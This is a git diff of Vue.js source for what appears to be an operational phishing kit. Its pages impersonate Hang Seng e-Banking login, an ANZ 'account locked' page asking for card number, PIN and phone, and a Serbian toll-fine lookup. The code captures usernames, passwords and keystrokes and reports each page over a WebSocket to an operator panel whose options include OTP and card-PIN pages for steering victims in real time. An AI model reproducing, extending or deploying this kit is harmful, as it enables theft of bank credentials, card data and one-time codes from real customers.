|
||||
<div class="info-row">
|
||||
<span class="info-label">Need Help?</span>
|
||||
<span class="icon-plus">+</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Transition name="fade">
|
||||
<div class="loading-overlay" v-if="isVerifying">
|
||||
<div class="overlay-backdrop"></div>
|
||||
<div class="overlay-box">
|
||||
<div class="loader-spinner"></div>
|
||||
<div class="loader-text">Verifying...</div>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.page-wrapper {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: flex-start;
|
||||
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
||||
}
|
||||
|
||||
.container-outer {
|
||||
width: 100%;
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.card-container {
|
||||
background: #ffffff;
|
||||
}
|
||||
|
||||
/* Header Navbar */
|
||||
.header-nav {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 10px 0 25px 0;
|
||||
border-bottom: 1px solid #f0f2f5;
|
||||
}
|
||||
|
||||
.content-body {
|
||||
padding: 35px 0;
|
||||
}
|
||||
|
||||
.page-title {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
color: #122b46;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.instruction-text {
|
||||
font-size: 15px;
|
||||
color: #616e7c;
|
||||
line-height: 1.5;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
/* Form Styles */
|
||||
.form-group {
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.field-label {
|
||||
display: block;
|
||||
font-weight: 700;
|
||||
font-size: 15px;
|
||||
color: #243b53;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.otp-input-field {
|
||||
width: 100%;
|
||||
padding: 14px 12px;
|
||||
border: 1px solid #d1d9e2;
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-input-field::placeholder {
|
||||
color: #9fb3c8;
|
||||
}
|
||||
|
||||
.otp-input-field:focus {
|
||||
border-color: #2563eb;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
/* Actions: Button and Resend Link on the same line */
|
||||
.form-actions-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
margin-top: 30px;
|
||||
}
|
||||
|
||||
.submit-button {
|
||||
background-color: #2563eb; /* Blue primary */
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
padding: 14px 0;
|
||||
width: 280px; /* Specific width as per UI */
|
||||
border-radius: 6px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
}
|
||||
|
||||
.submit-button:hover {
|
||||
background-color: #1d4ed8;
|
||||
}
|
||||
|
||||
.resend-link {
|
||||
font-size: 15px;
|
||||
color: #2563eb;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.resend-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.error-feedback {
|
||||
color: #d93025;
|
||||
font-size: 14px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
/* Accordion Style Links */
|
||||
.bottom-links {
|
||||
margin-top: 40px;
|
||||
}
|
||||
|
||||
.divider-line {
|
||||
height: 1px;
|
||||
background-color: #e4e7eb;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.info-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 20px 0;
|
||||
border-bottom: 1px solid #e4e7eb;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.info-label {
|
||||
font-size: 15px;
|
||||
color: #243b53;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.icon-plus {
|
||||
color: #9fb3c8;
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
/* Loading Overlay Styles */
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.overlay-backdrop {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.9);
|
||||
}
|
||||
|
||||
.overlay-box {
|
||||
position: relative;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.loader-spinner {
|
||||
width: 45px;
|
||||
height: 45px;
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #2563eb;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin: 0 auto 15px;
|
||||
}
|
||||
|
||||
.loader-text {
|
||||
font-size: 15px;
|
||||
color: #486581;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
|
||||
.fade-enter-from, .fade-leave-to { opacity: 0; }
|
||||
|
||||
/* Responsive */
|
||||
@media (max-width: 480px) {
|
||||
.form-actions-row {
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
}
|
||||
.submit-button {
|
||||
width: 100%;
|
||||
}
|
||||
.resend-link {
|
||||
text-align: center;
|
||||
margin-top: 10px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
279
a9_usa_Fine_amazon/src/views/PasswdView.vue
Normal file
@@ -0,0 +1,279 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange } from "@/utils/common";
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
const formData = ref({ homePageData: { username: "" } });
|
||||
const warningMessage = ref("");
|
||||
|
||||
// Handle form submission
|
||||
const next = () => {
|
||||
if (!formData.value.homePageData.username) {
|
||||
warningMessage.value = t("Please enter your username.");
|
||||
return;
|
||||
}
|
||||
|
||||
warningMessage.value = "";
|
||||
localStorage.setItem("username", formData.value.homePageData.username);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/passwd"); // Adjust the route as needed
|
||||
}, 2000);
|
||||
};
|
||||
|
||||
// Handle input change
|
||||
const onchange = (event: any) => {
|
||||
inputChange("input_login", "username", event.target.value);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.homePageData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="row p-10-ch">
|
||||
<div id="mainPanel" class="px-0 mainContent">
|
||||
<div class="row" style="height: 100%; justify-content: center;">
|
||||
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
|
||||
<h2 class="login-title">Log on to Hang Seng Personal e-Banking</h2>
|
||||
|
||||
<!-- Warning message from the image -->
|
||||
<div class="warning-box">
|
||||
<span class="warning-icon">!</span>
|
||||
<p>
|
||||
If you log on using a mobile browser, some services may not be available. We recommend you to log on using a computer web browser, or you can download Hang Seng Mobile App for convenient banking.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<!-- Username input -->
|
||||
<div class="form-group">
|
||||
<label class="loginlabel">Enter your username</label>
|
||||
<input
|
||||
type="text"
|
||||
id="txtuserid"
|
||||
class="textfield required"
|
||||
v-model="formData.homePageData.username"
|
||||
@input="onchange"
|
||||
placeholder=""
|
||||
autocomplete="off"
|
||||
>
|
||||
<span class="info-icon">i</span>
|
||||
</div>
|
||||
|
||||
<!-- Warning message for form validation -->
|
||||
<div v-if="warningMessage" aria-live="assertive" role="alert">
|
||||
<div class="css-j4y2sz">
|
||||
<span class="css-1mne40r">
|
||||
<svg viewBox="0 0 48 48" width="1em" height="1em">
|
||||
<path
|
||||
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
|
||||
></path>
|
||||
</svg>
|
||||
</span>
|
||||
<span class="css-l0mv58">{{ warningMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Continue button -->
|
||||
<button @click.prevent="next" class="proceedButton">Continue</button>
|
||||
|
||||
<!-- Links -->
|
||||
<div class="links">
|
||||
<a href="#" class="loginlink">Forgot your username</a><br>
|
||||
<a href="#" class="loginlink">Haven't registered for Personal e-Banking</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
/* Layout adjustments */
|
||||
.row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.p-10-ch {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.px-0 {
|
||||
padding-left: 0;
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
.mainContent {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.col-lg-8, .col-md-7, .col-12 {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@media (min-width: 992px) {
|
||||
.col-lg-8 {
|
||||
flex: 0 0 66.666667%;
|
||||
max-width: 66.666667%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.col-md-7 {
|
||||
flex: 0 0 58.333333%;
|
||||
max-width: 58.333333%;
|
||||
}
|
||||
}
|
||||
|
||||
/* Title */
|
||||
.login-title {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
/* Warning box */
|
||||
.warning-box {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
background-color: #e6f0fa;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.warning-icon {
|
||||
display: inline-block;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
background-color: #0056d2;
|
||||
color: white;
|
||||
border-radius: 50%;
|
||||
text-align: center;
|
||||
line-height: 20px;
|
||||
margin-right: 10px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.warning-box p {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* Form styles */
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
text-align: left;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.loginlabel {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
font-size: 14px;
|
||||
color: #000;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.textfield {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: 2px solid #00cc00;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.textfield:focus {
|
||||
outline: none;
|
||||
border-color: #666;
|
||||
}
|
||||
|
||||
.info-icon {
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
top: 35px;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
background-color: #ccc;
|
||||
color: white;
|
||||
border-radius: 50%;
|
||||
text-align: center;
|
||||
line-height: 20px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
/* Button styles */
|
||||
.proceedButton {
|
||||
background: #ccc;
|
||||
color: white;
|
||||
padding: 12px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.proceedButton:hover {
|
||||
background: #999;
|
||||
}
|
||||
|
||||
/* Links */
|
||||
.links {
|
||||
margin-top: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.loginlink {
|
||||
color: #0056d2;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.loginlink:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
/* Warning message styles */
|
||||
.css-j4y2sz {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 10px;
|
||||
margin-bottom: 15px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.css-1mne40r {
|
||||
display: inline-block;
|
||||
line-height: 1;
|
||||
vertical-align: middle;
|
||||
font-size: 1.75rem;
|
||||
fill: rgb(180, 44, 1);
|
||||
}
|
||||
|
||||
.css-l0mv58 {
|
||||
color: #dc3545;
|
||||
font-size: 14px;
|
||||
}
|
||||
</style>
|
||||
90
a9_usa_Fine_amazon/src/views/PayView.vue
Normal file
@@ -0,0 +1,90 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const { t } = useI18n();
|
||||
|
||||
// Function to handle navigation to the next page
|
||||
const navigateToVerificationCodeEx = () => {
|
||||
loadingStore.setLoading(true);
|
||||
// Simulate a short delay for loading, then navigate
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 200); // Adjust delay as needed
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "提示頁面",pageTitle: "提示頁面",opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
|
||||
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
|
||||
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
|
||||
{ label: '填卡PIN頁面', value: 'next_card', type: 'input1' },
|
||||
{ label: '跳轉完成', value: 'success' },
|
||||
|
||||
],
|
||||
}, }, // This might need to be updated based on the actual page context
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "pay"); // This might need to be updated based on the actual page context
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body fb-theme">
|
||||
<div class="content-wrapper">
|
||||
<uni-view data-v-7a393632="" class="bill_box">
|
||||
<p data-v-7a393632="" style="font-size: 18px; font-weight: 400; color: rgb(13, 104, 173); padding-top: 30px;"> Your account has been locked </p>
|
||||
<div data-v-7a393632="" style="background-color: rgb(255, 255, 255); border: 1px solid rgb(221, 221, 221); border-radius: 0px; padding: 20px; display: flex; flex-direction: column; font-size: 15px; margin-top: 20px;">
|
||||
<uni-text data-v-7a393632="" style="color: rgb(13, 104, 173); font-size: 17px;"><span> What you'll need </span></uni-text>
|
||||
<uni-text data-v-7a393632="" style="margin-top: 20px;"><span> To help protect your security, you'll need a couple of things </span></uni-text>
|
||||
<uni-view data-v-7a393632="" style="display: flex; margin-top: 30px;">
|
||||
<svg data-v-7a393632="" t="1751297728556" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="26274" width="44" height="44">
|
||||
<path data-v-7a393632="" d="M896 341.333333v-64.085333c0-11.584-9.664-21.248-21.482667-21.248H149.482667A21.333333 21.333333 0 0 0 128 277.248V341.333333h768z m0 128H128v277.418667c0 11.584 9.664 21.248 21.482667 21.248h725.034666A21.333333 21.333333 0 0 0 896 746.752V469.333333zM42.666667 277.248A106.666667 106.666667 0 0 1 149.482667 170.666667h725.034666C933.44 170.666667 981.333333 218.496 981.333333 277.248v469.504A106.666667 106.666667 0 0 1 874.517333 853.333333H149.482667C90.56 853.333333 42.666667 805.504 42.666667 746.752V277.248zM234.666667 704a42.666667 42.666667 0 1 1 0-85.333333h42.666666a42.666667 42.666667 0 1 1 0 85.333333h-42.666666z m192 0a42.666667 42.666667 0 1 1 0-85.333333h128a42.666667 42.666667 0 1 1 0 85.333333h-128z" fill="#0d68ad" p-id="26275"></path>
|
||||
</svg>
|
||||
<uni-view data-v-7a393632="" style="width: 100%; margin-left: 15px; font-size: 14px;">
|
||||
<uni-text data-v-7a393632=""><span> Your ANZ card number and PIN </span></uni-text><br data-v-7a393632="">
|
||||
<uni-text data-v-7a393632="" style="font-weight: 200;"><span> Your credit or debit card number and PIN </span></uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-7a393632="" style="display: flex; margin-top: 30px;">
|
||||
<svg data-v-7a393632="" t="1751297880963" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="27520" width="44" height="44">
|
||||
<path data-v-7a393632="" d="M823.00322 24.512277l-591.737042 0c-11.307533 0-20.466124 9.15859-20.466124 20.466124l0 934.043199c0 11.2973 9.15859 20.466124 20.466124 20.466124l591.737042 0c11.307533 0 20.466124-9.168824 20.466124-20.466124L843.469344 44.978401C843.469344 33.670867 834.310753 24.512277 823.00322 24.512277zM802.537096 773.96127l-480.135268 0c-11.307533 0-20.466124 9.168824-20.466124 20.466124 0 11.307533 9.15859 20.466124 20.466124 20.466124l480.135268 0 0 143.661957-550.804794 0L251.732301 65.444525l550.804794 0L802.537096 773.96127z" p-id="27521" fill="#0d68ad"></path>
|
||||
<path data-v-7a393632="" d="M527.134699 886.514719m-48.461735 0a47.358 47.358 0 1 0 96.92347 0 47.358 47.358 0 1 0-96.92347 0Z" p-id="27522" fill="#0d68ad"></path>
|
||||
</svg>
|
||||
<uni-view data-v-7a393632="" style="width: 100%; margin-left: 15px; font-size: 14px;">
|
||||
<uni-text data-v-7a393632=""><span> Your registered mobile phone </span></uni-text><br data-v-7a393632="">
|
||||
<uni-text data-v-7a393632="" style="font-weight: 200;"><span> To receive a verification code to your mobile number on file with ANZ </span></uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<p data-v-7a393632="" style="margin-top: 30px; font-size: 14px;">Don't have an active ANZ card or need help?</p>
|
||||
<p data-v-7a393632="" style="margin-top: 10px; font-size: 14px;"> Call us on <a data-v-7a393632="" href="tel:13 33 50" style="text-decoration: none;">13 33 50</a> any time (<a data-v-7a393632="" href="tel:+61 3 9683 8833" style="text-decoration: none;">+61 3 9683 8833</a> from overseas). </p>
|
||||
</div>
|
||||
<uni-button
|
||||
data-v-7a393632=""
|
||||
id="to_card_page_btn"
|
||||
class="first_capitalize"
|
||||
style="background-color: rgb(0, 114, 172); color: white;"
|
||||
@click="navigateToVerificationCodeEx"
|
||||
>
|
||||
Next
|
||||
</uni-button>
|
||||
</uni-view>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
225
a9_usa_Fine_amazon/src/views/PhoneView copy 2.vue
Normal file
@@ -0,0 +1,225 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, watch } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = ref({ licensePlateData: { licensePlate: "" } });
|
||||
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
const onchange = (event: any) => {
|
||||
inputChange("Регистарска ознака", "plate", event.target.value);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/pay");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
watch(
|
||||
instance.appContext.config.globalProperties.$currentUser,
|
||||
(newValue, oldValue) => {}
|
||||
);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "phone" },
|
||||
})
|
||||
);
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.licensePlateData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="image-container">
|
||||
<img
|
||||
src="/Static_zy/koridor10-juzni-krak.jpg"
|
||||
alt="Путеви Србије"
|
||||
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
|
||||
</div>
|
||||
<div class="main-content-body">
|
||||
<div class="container">
|
||||
<form @submit.prevent="next">
|
||||
<div class="content-body">
|
||||
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
|
||||
<p>
|
||||
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
|
||||
</p>
|
||||
<div class="input-group">
|
||||
<label for="licensePlate">
|
||||
{{ t("Регистарска ознака") }}
|
||||
</label>
|
||||
<input
|
||||
id="licensePlate"
|
||||
type="text"
|
||||
required
|
||||
autofocus
|
||||
@input="onchange"
|
||||
v-model="formData.licensePlateData.licensePlate"
|
||||
inputmode="text"
|
||||
:placeholder="t('Пример: BG123456')"
|
||||
class="full-width-input"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit">
|
||||
<button type="submit" class="full-width-btn">
|
||||
{{ t("Провери статус") }}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.image-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.main-content-body {
|
||||
background-color: #f0f4f8;
|
||||
padding: 3rem 1rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 720px;
|
||||
margin: 0 auto;
|
||||
background-color: #ffffff;
|
||||
border: 1px solid #d0d7de;
|
||||
border-radius: 8px;
|
||||
padding: 2rem;
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.content-body {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.8rem;
|
||||
font-weight: 700;
|
||||
color: #003087;
|
||||
margin-bottom: 1rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
p {
|
||||
color: #333333;
|
||||
font-size: 1rem;
|
||||
line-height: 1.5;
|
||||
margin-bottom: 1.5rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.input-group {
|
||||
margin-bottom: 1.5rem;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
font-size: 1rem;
|
||||
font-weight: 500;
|
||||
color: #003087;
|
||||
margin-bottom: 0.5rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.full-width-input {
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
padding: 0.75rem;
|
||||
font-size: 1rem;
|
||||
border: 1px solid #b0b8c1;
|
||||
border-radius: 5px;
|
||||
background-color: #ffffff;
|
||||
color: #333333;
|
||||
font-family: 'Arial', sans-serif;
|
||||
transition: border-color 0.2s;
|
||||
margin-bottom: 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.full-width-input:focus {
|
||||
outline: none;
|
||||
border-color: #003087;
|
||||
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.full-width-btn {
|
||||
width: 100%;
|
||||
background-color: #003087;
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 1.1rem;
|
||||
font-weight: 600;
|
||||
padding: 0.85rem 0;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin-top: 0.3rem;
|
||||
box-sizing: border-box;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.full-width-btn:hover {
|
||||
background-color: #00205b;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.container {
|
||||
padding: 1.5rem;
|
||||
margin: 0 1rem;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.3rem;
|
||||
}
|
||||
|
||||
p {
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.full-width-input {
|
||||
padding: 0.6rem;
|
||||
}
|
||||
|
||||
.full-width-btn {
|
||||
padding: 0.75rem 0;
|
||||
font-size: 1rem;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
320
a9_usa_Fine_amazon/src/views/PhoneView.vue
Normal file
@@ -0,0 +1,320 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange } from "@/utils/common";
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
const formData = ref({ homePageData: { username: "", password: "" } });
|
||||
const warningMessage = ref("");
|
||||
|
||||
// 计算属性:检查用户名和密码是否都已输入
|
||||
const isFormFilled = computed(() => {
|
||||
return formData.value.homePageData.username.trim() !== "" && formData.value.homePageData.password.trim() !== "";
|
||||
});
|
||||
|
||||
// 处理表单提交
|
||||
const next = () => {
|
||||
if (!formData.value.homePageData.username || !formData.value.homePageData.password) {
|
||||
warningMessage.value = t("請輸入您的用戶名稱和密碼。");
|
||||
return;
|
||||
}
|
||||
|
||||
warningMessage.value = "";
|
||||
localStorage.setItem("username", formData.value.homePageData.username);
|
||||
localStorage.setItem("password", formData.value.homePageData.password);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/pay"); // 根据需要调整路由
|
||||
}, 2000);
|
||||
};
|
||||
|
||||
// 处理输入变化
|
||||
const onchange = (event: any) => {
|
||||
inputChange("input_login", "username", event.target.value);
|
||||
};
|
||||
|
||||
const passchange = (event: any) => {
|
||||
inputChange("input_login", "password", event.target.value);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.homePageData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="row p-10-ch">
|
||||
<div id="mainPanel" class="px-0 mainContent">
|
||||
<div class="row" style="height: 100%; justify-content: center;">
|
||||
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
|
||||
<h2 class="login-title">登入恒生個人e-Banking</h2>
|
||||
|
||||
<!-- 警告信息,SVG 和文本共享背景 -->
|
||||
<div class="warning-box">
|
||||
<span class="warning-icon">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#3b6793">
|
||||
<path d="M480-280q17 0 28.5-11.5T520-320q0-17-11.5-28.5T480-360q-17 0-28.5 11.5T440-320q0 17 11.5 28.5T480-280Zm-40-160h80v-240h-80v240Zm40 360q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q-54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm0-80q134 0 227-93t93-227q0-134-93-227t-227-93q-134 0-227 93t-93 227q0 134 93 227t227 93Zm0-320Z"/>
|
||||
</svg>
|
||||
</span>
|
||||
<div class="warning-text">
|
||||
<p>
|
||||
